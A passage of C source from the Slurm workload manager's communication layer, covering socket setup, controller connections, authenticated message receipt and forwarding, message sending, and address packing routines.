slurm_get_srun_eio_timeout(void)
{
int16_t eio_timeout = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
eio_timeout = conf->eio_timeout;
slurm_conf_unlock();
}
return eio_timeout;
}
/* Change general slurm communication errors to slurmctld specific errors */
static void _remap_slurmctld_errno(void)
{
int err = slurm_get_errno();
if (err == SLURM_COMMUNICATIONS_CONNECTION_ERROR)
slurm_seterrno(SLURMCTLD_COMMUNICATIONS_CONNECTION_ERROR);
else if (err == SLURM_COMMUNICATIONS_SEND_ERROR)
slurm_seterrno(SLURMCTLD_COMMUNICATIONS_SEND_ERROR);
else if (err == SLURM_COMMUNICATIONS_RECEIVE_ERROR)
slurm_seterrno(SLURMCTLD_COMMUNICATIONS_RECEIVE_ERROR);
else if (err == SLURM_COMMUNICATIONS_SHUTDOWN_ERROR)
slurm_seterrno(SLURMCTLD_COMMUNICATIONS_SHUTDOWN_ERROR);
}
/**********************************************************************\
* general message management functions used by slurmctld, slurmd
\**********************************************************************/
/* In the socket implementation it creates a socket, binds to it, and
* listens for connections. Retry if bind() or listen() fail
* even if asked for an ephemeral port.
*
* IN port - port to bind the msg server to
* RET slurm_fd_t - file descriptor of the connection created
*/
slurm_fd_t slurm_init_msg_engine_port(uint16_t port)
{
slurm_fd_t cc;
slurm_addr_t addr;
int cnt;
cnt = 0;
eagain:
_slurm_set_addr_any(&addr, port);
cc = slurm_init_msg_engine(&addr);
if (cc < 0 && port == 0) {
++cnt;
if (cnt <= 5) {
usleep(5000);
goto eagain;
}
}
return cc;
}
/* slurm_init_msg_engine_ports()
*/
slurm_fd_t
slurm_init_msg_engine_ports(uint16_t *ports)
{
int cc;
int val;
int s;
int port;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0)
return -1;
val = 1;
cc = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(int));
if (cc < 0) {
close(s);
return -1;
}
port = sock_bind_range(s, ports);
if (port < 0) {
close(s);
return -1;
}
cc = listen(s, SLURM_PROTOCOL_DEFAULT_LISTEN_BACKLOG);
if (cc < 0) {
close(s);
return -1;
}
return s;
}
/* In the socket implementation it creates a socket, binds to it, and
* listens for connections.
*
* IN addr_name - address to bind the msg server to (NULL means any)
* IN port - port to bind the msg server to
* RET slurm_fd_t - file descriptor of the connection created
*/
slurm_fd_t slurm_init_msg_engine_addrname_port(char *addr_name, uint16_t port)
{
slurm_addr_t addr;
static uint32_t bind_addr = NO_VAL;
if (bind_addr == NO_VAL) {
#ifdef BIND_SPECIFIC_ADDR
bind_addr = 1;
#else
char *topology_params = slurm_get_topology_param();
if (topology_params &&
slurm_strcasestr(topology_params, "NoInAddrAny"))
bind_addr = 1;
else
bind_addr = 0;
xfree(topology_params);
#endif
}
if (addr_name)
slurm_set_addr(&addr, port, addr_name);
else
_slurm_set_addr_any(&addr, port);
return slurm_init_msg_engine(&addr);
}
/*
* Close an established message engine.
* Returns SLURM_SUCCESS or SLURM_FAILURE.
*
* IN fd - an open file descriptor to close
* RET int - the return code
*/
int slurm_shutdown_msg_engine(slurm_fd_t fd)
{
int rc = slurm_close(fd);
if (rc)
slurm_seterrno(SLURM_COMMUNICATIONS_SHUTDOWN_ERROR);
return rc;
}
/*
* Close an established message connection.
* Returns SLURM_SUCCESS or SLURM_FAILURE.
*
* IN fd - an open file descriptor to close
* RET int - the return code
*/
int slurm_shutdown_msg_conn(slurm_fd_t fd)
{
return slurm_close(fd);
}
/**********************************************************************\
* msg connection establishment functions used by msg clients
\**********************************************************************/
/* In the bsd socket implementation it creates a SOCK_STREAM socket
* and calls connect on it a SOCK_DGRAM socket called with connect
* is defined to only receive messages from the address/port pair
* argument of the connect call slurm_address - for now it is
* really just a sockaddr_in
* IN slurm_address - slurm_addr_t of the connection destination
* RET slurm_fd - file descriptor of the connection created
*/
slurm_fd_t slurm_open_msg_conn(slurm_addr_t * slurm_address)
{
slurm_fd_t fd = slurm_open_stream(slurm_address, false);
if (fd >= 0)
fd_set_close_on_exec(fd);
return fd;
}
/* Calls connect to make a connection-less datagram connection to the
* primary or secondary slurmctld message engine. If the controller
* is very busy the connect may fail, so retry a couple of times.
* IN/OUT addr - address of controller contacted
* RET slurm_fd - file descriptor of the connection created
*/
slurm_fd_t slurm_open_controller_conn(slurm_addr_t *addr)
{
slurm_fd_t fd = -1;
slurm_ctl_conf_t *conf;
slurm_protocol_config_t *myproto = NULL;
int retry, max_retry_period, have_backup = 0;
if (!working_cluster_rec) {
/* This means the addr wasn't set up already.
*/
if (slurm_api_set_default_config() < 0)
return SLURM_FAILURE;
myproto = xmalloc(sizeof(slurm_protocol_config_t));
memcpy(myproto, proto_conf, sizeof(slurm_protocol_config_t));
myproto->primary_controller.sin_port =
htons(slurmctld_conf.slurmctld_port +
(((time(NULL) + getpid()) %
slurmctld_conf.slurmctld_port_count)));
myproto->secondary_controller.sin_port =
myproto->primary_controller.sin_port;
}
#ifdef HAVE_NATIVE_CRAY
max_retry_period = 180;
#else
max_retry_period = slurm_get_msg_timeout();
#endif
for (retry = 0; retry < max_retry_period; retry++) {
if (retry)
sleep(1);
if (working_cluster_rec) {
if (working_cluster_rec->control_addr.sin_port == 0) {
slurm_set_addr(
&working_cluster_rec->control_addr,
working_cluster_rec->control_port,
working_cluster_rec->control_host);
}
addr = &working_cluster_rec->control_addr;
fd = slurm_open_msg_conn(addr);
if (fd >= 0)
goto end_it;
debug("Failed to contact controller: %m");
} else {
fd = slurm_open_msg_conn(&myproto->primary_controller);
if (fd >= 0)
goto end_it;
debug("Failed to contact primary controller: %m");
if (retry == 0) {
conf = slurm_conf_lock();
if (conf->backup_controller)
have_backup = 1;
slurm_conf_unlock();
}
if (have_backup) {
fd = slurm_open_msg_conn(&myproto->
secondary_controller);
if (fd >= 0) {
debug("Contacted secondary controller");
goto end_it;
}
debug("Failed to contact secondary "
"controller: %m");
}
}
}
addr = NULL;
slurm_seterrno_ret(SLURMCTLD_COMMUNICATIONS_CONNECTION_ERROR);
end_it:
xfree(myproto);
return fd;
}
/* calls connect to make a connection-less datagram connection to the
* primary or secondary slurmctld message engine
* RET slurm_fd_t - file descriptor of the connection created
* IN dest - controller to contact, primary or secondary
*/
slurm_fd_t slurm_open_controller_conn_spec(enum controller_id dest)
{
slurm_addr_t *addr;
slurm_fd_t rc;
if (slurm_api_set_default_config() < 0) {
debug3("Error: Unable to set default config");
return SLURM_ERROR;
}
if (dest == PRIMARY_CONTROLLER)
addr = &proto_conf->primary_controller;
else { /* (dest == SECONDARY_CONTROLLER) */
slurm_ctl_conf_t *conf;
addr = NULL;
conf = slurm_conf_lock();
if (conf->backup_addr)
addr = &proto_conf->secondary_controller;
slurm_conf_unlock();
if (!addr)
return SLURM_ERROR;
}
rc = slurm_open_msg_conn(addr);
if (rc == -1)
_remap_slurmctld_errno();
return rc;
}
/**********************************************************************\
* receive message functions
\**********************************************************************/
/*
* NOTE: memory is allocated for the returned msg must be freed at
* some point using the slurm_free_functions.
* IN open_fd - file descriptor to receive msg on
* OUT msg - a slurm_msg struct to be filled in by the function
* IN timeout - how long to wait in milliseconds
* RET int - returns 0 on success, -1 on failure and sets errno
*/
int slurm_receive_msg(slurm_fd_t fd, slurm_msg_t *msg, int timeout)
{
char *buf = NULL;
size_t buflen = 0;
header_t header;
int rc;
void *auth_cred = NULL;
Buf buffer;
xassert(fd >= 0);
slurm_msg_t_init(msg);
msg->conn_fd = fd;
if (timeout <= 0)
/* convert secs to msec */
timeout = slurm_get_msg_timeout() * 1000;
else if (timeout > (slurm_get_msg_timeout() * 10000)) {
debug("%s: You are receiving a message with very long "
"timeout of %d seconds", __func__, (timeout/1000));
} else if (timeout < 1000) {
error("%s: You are receiving a message with a very short "
"timeout of %d msecs", __func__, timeout);
}
/*
* Receive a msg. slurm_msg_recvfrom() will read the message
* length and allocate space on the heap for a buffer containing
* the message.
*/
if (slurm_msg_recvfrom_timeout(fd, &buf, &buflen, 0, timeout) < 0) {
forward_init(&header.forward, NULL);
rc = errno;
goto total_return;
}
#if _DEBUG
_print_data (buf, buflen);
#endif
buffer = create_buf(buf, buflen);
if (unpack_header(&header, buffer) == SLURM_ERROR) {
free_buf(buffer);
rc = SLURM_COMMUNICATIONS_RECEIVE_ERROR;
goto total_return;
}
if (check_header_version(&header) < 0) {
slurm_addr_t resp_addr;
char addr_str[32];
int uid = _unpack_msg_uid(buffer);
if (!slurm_get_peer_addr(fd, &resp_addr)) {
slurm_print_slurm_addr(
&resp_addr, addr_str, sizeof(addr_str));
error("%s: Invalid Protocol Version %u from uid=%d at %s",
__func__, header.version, uid, addr_str);
} else {
error("%s: Invalid Protocol Version %u from uid=%d from "
"problem connection: %m", __func__,
header.version, uid);
}
free_buf(buffer);
rc = SLURM_PROTOCOL_VERSION_ERROR;
goto total_return;
}
//info("ret_cnt = %d",header.ret_cnt);
if (header.ret_cnt > 0) {
error("%s: we received more than one message back use "
"slurm_receive_msgs instead", __func__);
header.ret_cnt = 0;
FREE_NULL_LIST(header.ret_list);
header.ret_list = NULL;
}
/* Forward message to other nodes */
if (header.forward.cnt > 0) {
error("%s: We need to forward this to other nodes use "
"slurm_receive_msg_and_forward instead", __func__);
}
if ((auth_cred = g_slurm_auth_unpack(buffer)) == NULL) {
error("%s: authentication: %s ", __func__,
g_slurm_auth_errstr(g_slurm_auth_errno(NULL)));
free_buf(buffer);
rc = ESLURM_PROTOCOL_INCOMPLETE_PACKET;
goto total_return;
}
if (header.flags & SLURM_GLOBAL_AUTH_KEY) {
rc = g_slurm_auth_verify( auth_cred, NULL, 2,
_global_auth_key() );
} else {
char *auth_info = slurm_get_auth_info();
rc = g_slurm_auth_verify( auth_cred, NULL, 2, auth_info );
xfree(auth_info);
}
if (rc != SLURM_SUCCESS) {
error("%s: %s has authentication error: %s ", __func__,
rpc_num2string(header.msg_type),
g_slurm_auth_errstr(g_slurm_auth_errno(auth_cred)));
(void) g_slurm_auth_destroy(auth_cred);
free_buf(buffer);
rc = SLURM_PROTOCOL_AUTHENTICATION_ERROR;
goto total_return;
}
/*
* Unpack message body
*/
msg->protocol_version = header.version;
msg->msg_type = header.msg_type;
msg->flags = header.flags;
if ((header.body_length > remaining_buf(buffer)) ||
(unpack_msg(msg, buffer) != SLURM_SUCCESS)) {
rc = ESLURM_PROTOCOL_INCOMPLETE_PACKET;
(void) g_slurm_auth_destroy(auth_cred);
free_buf(buffer);
goto total_return;
}
msg->auth_cred = (void *)auth_cred;
free_buf(buffer);
rc = SLURM_SUCCESS;
total_return:
destroy_forward(&header.forward);
slurm_seterrno(rc);
if (rc != SLURM_SUCCESS) {
msg->auth_cred = (void *) NULL;
error("%s: %s", __func__, slurm_strerror(rc));
rc = -1;
usleep(10000); /* Discourage brute force attack */
} else {
rc = 0;
}
return rc;
}
/*
* NOTE: memory is allocated for the returned list
* and must be freed at some point using the list_destroy function.
* IN open_fd - file descriptor to receive msg on
* IN steps - how many steps down the tree we have to wait for
* IN timeout - how long to wait in milliseconds
* RET List - List containing the responses of the children (if any) we
* forwarded the message to. List containing type
* (ret_data_info_t).
*/
List slurm_receive_msgs(slurm_fd_t fd, int steps, int timeout)
{
char *buf = NULL;
size_t buflen = 0;
header_t header;
int rc;
void *auth_cred = NULL;
slurm_msg_t msg;
Buf buffer;
ret_data_info_t *ret_data_info = NULL;
List ret_list = NULL;
int orig_timeout = timeout;
xassert(fd >= 0);
slurm_msg_t_init(&msg);
msg.conn_fd = fd;
if (timeout <= 0) {
/* convert secs to msec */
timeout = slurm_get_msg_timeout() * 1000;
orig_timeout = timeout;
}
if (steps) {
if (message_timeout < 0)
message_timeout = slurm_get_msg_timeout() * 1000;
orig_timeout = (timeout -
(message_timeout*(steps-1)))/steps;
steps--;
}
debug4("orig_timeout was %d we have %d steps and a timeout of %d",
orig_timeout, steps, timeout);
/* we compare to the orig_timeout here because that is really
* what we are going to wait for each step
*/
if (orig_timeout >= (slurm_get_msg_timeout() * 10000)) {
debug("slurm_receive_msgs: "
"You are sending a message with timeout's greater "
"than %d seconds, your's is %d seconds",
(slurm_get_msg_timeout() * 10),
(timeout/1000));
} else if (orig_timeout < 1000) {
debug("slurm_receive_msgs: "
"You are sending a message with a very short timeout of "
"%d milliseconds each step in the tree has %d "
"milliseconds", timeout, orig_timeout);
}
/*
* Receive a msg. slurm_msg_recvfrom() will read the message
* length and allocate space on the heap for a buffer containing
* the message.
*/
if (slurm_msg_recvfrom_timeout(fd, &buf, &buflen, 0, timeout) < 0) {
forward_init(&header.forward, NULL);
rc = errno;
goto total_return;
}
#if _DEBUG
_print_data (buf, buflen);
#endif
buffer = create_buf(buf, buflen);
if (unpack_header(&header, buffer) == SLURM_ERROR) {
free_buf(buffer);
rc = SLURM_COMMUNICATIONS_RECEIVE_ERROR;
goto total_return;
}
if (check_header_version(&header) < 0) {
slurm_addr_t resp_addr;
char addr_str[32];
int uid = _unpack_msg_uid(buffer);
if (!slurm_get_peer_addr(fd, &resp_addr)) {
slurm_print_slurm_addr(
&resp_addr, addr_str, sizeof(addr_str));
error("Invalid Protocol Version %u from uid=%d at %s",
header.version, uid, addr_str);
} else {
error("Invalid Protocol Version %u from uid=%d from "
"problem connection: %m",
header.version, uid);
}
free_buf(buffer);
rc = SLURM_PROTOCOL_VERSION_ERROR;
goto total_return;
}
//info("ret_cnt = %d",header.ret_cnt);
if (header.ret_cnt > 0) {
if (header.ret_list)
ret_list = header.ret_list;
else
ret_list = list_create(destroy_data_info);
header.ret_cnt = 0;
header.ret_list = NULL;
}
/* Forward message to other nodes */
if (header.forward.cnt > 0) {
error("We need to forward this to other nodes use "
"slurm_receive_msg_and_forward instead");
}
if ((auth_cred = g_slurm_auth_unpack(buffer)) == NULL) {
error( "authentication: %s ",
g_slurm_auth_errstr(g_slurm_auth_errno(NULL)));
free_buf(buffer);
rc = ESLURM_PROTOCOL_INCOMPLETE_PACKET;
goto total_return;
}
if (header.flags & SLURM_GLOBAL_AUTH_KEY) {
rc = g_slurm_auth_verify( auth_cred, NULL, 2,
_global_auth_key() );
} else {
char *auth_info = slurm_get_auth_info();
rc = g_slurm_auth_verify( auth_cred, NULL, 2, auth_info );
xfree(auth_info);
}
if (rc != SLURM_SUCCESS) {
error("authentication: %s ",
g_slurm_auth_errstr(g_slurm_auth_errno(auth_cred)));
(void) g_slurm_auth_destroy(auth_cred);
free_buf(buffer);
rc = SLURM_PROTOCOL_AUTHENTICATION_ERROR;
goto total_return;
}
/*
* Unpack message body
*/
msg.protocol_version = header.version;
msg.msg_type = header.msg_type;
msg.flags = header.flags;
if ((header.body_length > remaining_buf(buffer)) ||
(unpack_msg(&msg, buffer) != SLURM_SUCCESS)) {
(void) g_slurm_auth_destroy(auth_cred);
free_buf(buffer);
rc = ESLURM_PROTOCOL_INCOMPLETE_PACKET;
goto total_return;
}
g_slurm_auth_destroy(auth_cred);
free_buf(buffer);
rc = SLURM_SUCCESS;
total_return:
destroy_forward(&header.forward);
if (rc != SLURM_SUCCESS) {
if (ret_list) {
ret_data_info = xmalloc(sizeof(ret_data_info_t));
ret_data_info->err = rc;
ret_data_info->type = RESPONSE_FORWARD_FAILED;
ret_data_info->data = NULL;
list_push(ret_list, ret_data_info);
}
error("slurm_receive_msgs: %s", slurm_strerror(rc));
usleep(10000); /* Discourage brute force attack */
} else {
if (!ret_list)
ret_list = list_create(destroy_data_info);
ret_data_info = xmalloc(sizeof(ret_data_info_t));
ret_data_info->err = rc;
ret_data_info->node_name = NULL;
ret_data_info->type = msg.msg_type;
ret_data_info->data = msg.data;
list_push(ret_list, ret_data_info);
}
errno = rc;
return ret_list;
}
/* try to determine the UID associated with a message with different
* message header version, return -1 if we can't tell */
static int _unpack_msg_uid(Buf buffer)
{
int uid = -1;
void *auth_cred = NULL;
if ((auth_cred = g_slurm_auth_unpack(buffer)) == NULL)
return uid;
uid = (int) g_slurm_auth_get_uid(auth_cred, NULL);
g_slurm_auth_destroy(auth_cred);
return uid;
}
/*
* NOTE: memory is allocated for the returned msg and the returned list
* both must be freed at some point using the slurm_free_functions
* and list_destroy function.
* IN open_fd - file descriptor to receive msg on
* IN/OUT msg - a slurm_msg struct to be filled in by the function
* we use the orig_addr from this var for forwarding.
* IN timeout - how long to wait in milliseconds
* RET int - returns 0 on success, -1 on failure and sets errno
*/
int slurm_receive_msg_and_forward(slurm_fd_t fd, slurm_addr_t *orig_addr,
slurm_msg_t *msg, int timeout)
{
char *buf = NULL;
size_t buflen = 0;
header_t header;
int rc;
void *auth_cred = NULL;
Buf buffer;
xassert(fd >= 0);
if (msg->forward.init != FORWARD_INIT)
slurm_msg_t_init(msg);
/* set msg connection fd to accepted fd. This allows
* possibility for slurmd_req () to close accepted connection
*/
msg->conn_fd = fd;
/* this always is the connection */
memcpy(&msg->address, orig_addr, sizeof(slurm_addr_t));
/* where the connection originated from, this
* might change based on the header we receive */
memcpy(&msg->orig_addr, orig_addr, sizeof(slurm_addr_t));
msg->ret_list = list_create(destroy_data_info);
if (timeout <= 0)
/* convert secs to msec */
timeout = slurm_get_msg_timeout() * 1000;
if (timeout >= (slurm_get_msg_timeout() * 10000)) {
debug("slurm_receive_msg_and_forward: "
"You are sending a message with timeout's greater "
"than %d seconds, your's is %d seconds",
(slurm_get_msg_timeout() * 10),
(timeout/1000));
} else if (timeout < 1000) {
debug("slurm_receive_msg_and_forward: "
"You are sending a message with a very short timeout of "
"%d milliseconds", timeout);
}
/*
* Receive a msg. slurm_msg_recvfrom() will read the message
* length and allocate space on the heap for a buffer containing
* the message.
*/
if (slurm_msg_recvfrom_timeout(fd, &buf, &buflen, 0, timeout) < 0) {
forward_init(&header.forward, NULL);
rc = errno;
goto total_return;
}
#if _DEBUG
_print_data (buf, buflen);
#endif
buffer = create_buf(buf, buflen);
if (unpack_header(&header, buffer) == SLURM_ERROR) {
free_buf(buffer);
rc = SLURM_COMMUNICATIONS_RECEIVE_ERROR;
goto total_return;
}
if (check_header_version(&header) < 0) {
slurm_addr_t resp_addr;
char addr_str[32];
int uid = _unpack_msg_uid(buffer);
if (!slurm_get_peer_addr(fd, &resp_addr)) {
slurm_print_slurm_addr(
&resp_addr, addr_str, sizeof(addr_str));
error("Invalid Protocol Version %u from uid=%d at %s",
header.version, uid, addr_str);
} else {
error("Invalid Protocol Version %u from uid=%d from "
"problem connection: %m",
header.version, uid);
}
free_buf(buffer);
rc = SLURM_PROTOCOL_VERSION_ERROR;
goto total_return;
}
if (header.ret_cnt > 0) {
error("we received more than one message back use "
"slurm_receive_msgs instead");
header.ret_cnt = 0;
FREE_NULL_LIST(header.ret_list);
header.ret_list = NULL;
}
//info("ret_cnt = %d",header.ret_cnt);
/* if (header.ret_cnt > 0) { */
/* while ((ret_data_info = list_pop(header.ret_list))) */
/* list_push(msg->ret_list, ret_data_info); */
/* header.ret_cnt = 0; */
/* FREE_NULL_LIST(header.ret_list); */
/* header.ret_list = NULL; */
/* } */
/*
* header.orig_addr will be set to where the first message
* came from if this is a forward else we set the
* header.orig_addr to our addr just incase we need to send it off.
*/
if (header.orig_addr.sin_addr.s_addr != 0) {
memcpy(&msg->orig_addr, &header.orig_addr, sizeof(slurm_addr_t));
} else {
memcpy(&header.orig_addr, orig_addr, sizeof(slurm_addr_t));
}
/* Forward message to other nodes */
if (header.forward.cnt > 0) {
debug2("forwarding to %u", header.forward.cnt);
msg->forward_struct = xmalloc(sizeof(forward_struct_t));
slurm_mutex_init(&msg->forward_struct->forward_mutex);
pthread_cond_init(&msg->forward_struct->notify, NULL);
msg->forward_struct->buf_len = remaining_buf(buffer);
msg->forward_struct->buf =
xmalloc(sizeof(char) * msg->forward_struct->buf_len);
memcpy(msg->forward_struct->buf,
&buffer->head[buffer->processed],
msg->forward_struct->buf_len);
msg->forward_struct->ret_list = msg->ret_list;
/* take out the amount of timeout from this hop */
msg->forward_struct->timeout = header.forward.timeout;
if (msg->forward_struct->timeout <= 0)
msg->forward_struct->timeout = message_timeout;
msg->forward_struct->fwd_cnt = header.forward.cnt;
debug3("forwarding messages to %u nodes with timeout of %d",
msg->forward_struct->fwd_cnt,
msg->forward_struct->timeout);
if (forward_msg(msg->forward_struct, &header) == SLURM_ERROR) {
error("problem with forward msg");
}
}
if ((auth_cred = g_slurm_auth_unpack(buffer)) == NULL) {
error( "authentication: %s ",
g_slurm_auth_errstr(g_slurm_auth_errno(NULL)));
free_buf(buffer);
rc = ESLURM_PROTOCOL_INCOMPLETE_PACKET;
goto total_return;
}
if (header.flags & SLURM_GLOBAL_AUTH_KEY) {
rc = g_slurm_auth_verify( auth_cred, NULL, 2,
_global_auth_key() );
} else {
char *auth_info = slurm_get_auth_info();
rc = g_slurm_auth_verify( auth_cred, NULL, 2, auth_info );
xfree(auth_info);
}
if (rc != SLURM_SUCCESS) {
error( "authentication: %s ",
g_slurm_auth_errstr(g_slurm_auth_errno(auth_cred)));
(void) g_slurm_auth_destroy(auth_cred);
free_buf(buffer);
rc = SLURM_PROTOCOL_AUTHENTICATION_ERROR;
goto total_return;
}
/*
* Unpack message body
*/
msg->protocol_version = header.version;
msg->msg_type = header.msg_type;
msg->flags = header.flags;
if (header.msg_type == MESSAGE_COMPOSITE) {
msg_aggr_add_comp(buffer, auth_cred, &header);
goto total_return;
}
if ( (header.body_length > remaining_buf(buffer)) ||
(unpack_msg(msg, buffer) != SLURM_SUCCESS) ) {
(void) g_slurm_auth_destroy(auth_cred);
free_buf(buffer);
rc = ESLURM_PROTOCOL_INCOMPLETE_PACKET;
goto total_return;
}
msg->auth_cred = (void *) auth_cred;
free_buf(buffer);
rc = SLURM_SUCCESS;
total_return:
destroy_forward(&header.forward);
slurm_seterrno(rc);
if (rc != SLURM_SUCCESS) {
msg->msg_type = RESPONSE_FORWARD_FAILED;
msg->auth_cred = (void *) NULL;
msg->data = NULL;
error("slurm_receive_msg_and_forward: %s",
slurm_strerror(rc));
usleep(10000); /* Discourage brute force attack */
} else {
rc = 0;
}
return rc;
}
/**********************************************************************\
* send message functions
\**********************************************************************/
/*
* Do the wonderful stuff that needs be done to pack msg
* and hdr into buffer
*/
static void
_pack_msg(slurm_msg_t *msg, header_t *hdr, Buf buffer)
{
unsigned int tmplen, msglen;
tmplen = get_buf_offset(buffer);
pack_msg(msg, buffer);
msglen = get_buf_offset(buffer) - tmplen;
/* update header with correct cred and msg lengths */
update_header(hdr, msglen);
/* repack updated header */
tmplen = get_buf_offset(buffer);
set_buf_offset(buffer, 0);
pack_header(hdr, buffer);
set_buf_offset(buffer, tmplen);
}
/*
* Send a slurm message over an open file descriptor `fd'
* Returns the size of the message sent in bytes, or -1 on failure.
*/
int slurm_send_node_msg(slurm_fd_t fd, slurm_msg_t * msg)
{
header_t header;
Buf buffer;
int rc;
void * auth_cred;
time_t start_time = time(NULL);
/*
* Initialize header with Auth credential and message type.
* We get the credential now rather than later so the work can
* can be done in parallel with waiting for message to forward,
* but we may need to generate the credential again later if we
* wait too long for the incoming message.
*/
if (msg->flags & SLURM_GLOBAL_AUTH_KEY) {
auth_cred = g_slurm_auth_create(NULL, 2, _global_auth_key());
} else {
char *auth_info = slurm_get_auth_info();
auth_cred = g_slurm_auth_create(NULL, 2, auth_info);
xfree(auth_info);
}
if (msg->forward.init != FORWARD_INIT) {
forward_init(&msg->forward, NULL);
msg->ret_list = NULL;
}
forward_wait(msg);
if (difftime(time(NULL), start_time) >= 60) {
(void) g_slurm_auth_destroy(auth_cred);
if (msg->flags & SLURM_GLOBAL_AUTH_KEY) {
auth_cred = g_slurm_auth_create(NULL, 2,
_global_auth_key());
} else {
char *auth_info = slurm_get_auth_info();
auth_cred = g_slurm_auth_create(NULL, 2, auth_info);
xfree(auth_info);
}
}
if (auth_cred == NULL) {
error("authentication: %s",
g_slurm_auth_errstr(g_slurm_auth_errno(NULL)) );
slurm_seterrno_ret(SLURM_PROTOCOL_AUTHENTICATION_ERROR);
}
init_header(&header, msg, msg->flags);
/*
* Pack header into buffer for transmission
*/
buffer = init_buf(BUF_SIZE);
pack_header(&header, buffer);
/*
* Pack auth credential
*/
rc = g_slurm_auth_pack(auth_cred, buffer);
(void) g_slurm_auth_destroy(auth_cred);
if (rc) {
error("authentication: %s",
g_slurm_auth_errstr(g_slurm_auth_errno(auth_cred)));
free_buf(buffer);
slurm_seterrno_ret(SLURM_PROTOCOL_AUTHENTICATION_ERROR);
}
/*
* Pack message into buffer
*/
_pack_msg(msg, &header, buffer);
#if _DEBUG
_print_data (get_buf_data(buffer),get_buf_offset(buffer));
#endif
/*
* Send message
*/
rc = slurm_msg_sendto( fd, get_buf_data(buffer),
get_buf_offset(buffer),
SLURM_PROTOCOL_NO_SEND_RECV_FLAGS );
if ((rc < 0) && (errno == ENOTCONN)) {
debug3("slurm_msg_sendto: peer has disappeared for msg_type=%u",
msg->msg_type);
} else if (rc < 0) {
slurm_addr_t peer_addr;
char addr_str[32];
if (!slurm_get_peer_addr(fd, &peer_addr)) {
slurm_print_slurm_addr(
&peer_addr, addr_str, sizeof(addr_str));
error("slurm_msg_sendto: address:port=%s "
"msg_type=%u: %m",
addr_str, msg->msg_type);
} else if (errno == ENOTCONN)
debug3("slurm_msg_sendto: peer has disappeared "
"for msg_type=%u",
msg->msg_type);
else
error("slurm_msg_sendto: msg_type=%u: %m",
msg->msg_type);
}
free_buf(buffer);
return rc;
}
/**********************************************************************\
* stream functions
\**********************************************************************/
/* slurm_write_stream
* writes a buffer out a stream file descriptor
* IN open_fd - file descriptor to write on
* IN buffer - buffer to send
* IN size - size of buffer send
* IN timeout - how long to wait in milliseconds
* RET size_t - bytes sent , or -1 on errror
*/
size_t slurm_write_stream(slurm_fd_t open_fd, char *buffer, size_t size)
{
return slurm_send_timeout(open_fd, buffer, size,
SLURM_PROTOCOL_NO_SEND_RECV_FLAGS,
(slurm_get_msg_timeout() * 1000));
}
size_t slurm_write_stream_timeout(slurm_fd_t open_fd, char *buffer,
size_t size, int timeout)
{
return slurm_send_timeout(open_fd, buffer, size,
SLURM_PROTOCOL_NO_SEND_RECV_FLAGS,
timeout);
}
/* slurm_read_stream
* read into buffer grom a stream file descriptor
* IN open_fd - file descriptor to read from
* OUT buffer - buffer to receive into
* IN size - size of buffer
* IN timeout - how long to wait in milliseconds
* RET size_t - bytes read , or -1 on errror
*/
size_t slurm_read_stream(slurm_fd_t open_fd, char *buffer, size_t size)
{
return slurm_recv_timeout(open_fd, buffer, size,
SLURM_PROTOCOL_NO_SEND_RECV_FLAGS,
(slurm_get_msg_timeout() * 1000));
}
size_t slurm_read_stream_timeout(slurm_fd_t open_fd, char *buffer,
size_t size, int timeout)
{
return slurm_recv_timeout(open_fd, buffer, size,
SLURM_PROTOCOL_NO_SEND_RECV_FLAGS,
timeout);
}
/**********************************************************************\
* address conversion and management functions
\**********************************************************************/
/* slurm_set_addr_any
* initialized the slurm_address with the supplied port on INADDR_ANY
* OUT slurm_address - slurm_addr_t to be filled in
* IN port - port in host order
*/
static void _slurm_set_addr_any(slurm_addr_t * slurm_address, uint16_t port)
{
slurm_set_addr_uint(slurm_address, port, SLURM_INADDR_ANY);
}
/* slurm_set_addr
* initializes the slurm_address with the supplied port and host name
* OUT slurm_address - slurm_addr_t to be filled in
* IN port - port in host order
* IN host - hostname or dns name
*/
void slurm_set_addr(slurm_addr_t * slurm_address, uint16_t port, char *host)
{
slurm_set_addr_char(slurm_address, port, host);
}
/* slurm_get_ip_str
* given a slurm_address it returns its port and ip address string
* IN slurm_address - slurm_addr_t to be queried
* OUT port - port number
* OUT ip - ip address in dotted-quad string form
* IN buf_len - length of ip buffer
*/
void slurm_get_ip_str(slurm_addr_t * slurm_address, uint16_t * port,
char *ip, unsigned int buf_len)
{
unsigned char *uc = (unsigned char *)&slurm_address->sin_addr.s_addr;
*port = slurm_address->sin_port;
snprintf(ip, buf_len, "%u.%u.%u.%u", uc[0], uc[1], uc[2], uc[3]);
}
/* slurm_get_peer_addr
* get the slurm address of the peer connection, similar to getpeeraddr
* IN fd - an open connection
* OUT slurm_address - place to park the peer's slurm_addr
*/
int slurm_get_peer_addr(slurm_fd_t fd, slurm_addr_t * slurm_address)
{
struct sockaddr name;
socklen_t namelen = (socklen_t) sizeof(struct sockaddr);
int rc;
if ((rc = slurm_getpeername((int) fd, &name, &namelen)))
return rc;
memcpy(slurm_address, &name, sizeof(slurm_addr_t));
return 0;
}
/**********************************************************************\
* slurm_addr_t pack routines
\**********************************************************************/
/* slurm_pack_slurm_addr_array
* packs an array of slurm_addrs into a buffer
* OUT slurm_address - slurm_addr_t to pack
* IN size_val - how many to pack
* IN/OUT buffer - buffer to pack the slurm_addr_t from
* returns - SLURM error code
*/
void slurm_pack_slurm_addr_array(slurm_addr_t * slurm_address,
uint32_t size_val, Buf buffer)
{
int i = 0;
uint32_t nl = htonl(size_val);
pack32(nl, buffer);
for (i = 0; i < size_val; i++) {
slurm_pack_slurm_addr(slurm_address + i, buffer);
}
}
/* slurm_unpack_slurm_addr_array
* unpacks an array of slurm_addrs from a buffer
* OUT slurm_address - slurm_addr_t to unpack to
* IN size_val - how many to unpack
* IN/OUT buffer - buffer to upack the slurm_addr_t from
* returns - SLURM error code
*/
int slurm_unpack_slurm_addr_array(slurm_addr_t ** slurm_address,
uint32_t * size_val, Buf buffer)
{
int i = 0;
uint32_t nl;
*slurm_address = NULL;
safe_unpack32(&nl, buffer);
*size_val = ntohl(nl);
*slurm_address = xmalloc((*size_val) * sizeof(slurm_addr_t));
for (i = 0; i < *size_val; i++) {
if (slurm_unpack_slurm_addr_no_alloc((*slurm_address) + i,
buffer))
goto unpack_error;
}
return SLURM_SUCCESS;
unpack_error:
xfree(*slurm_address);
*slurm_address = NULL;
return SLURM_ERROR;
}
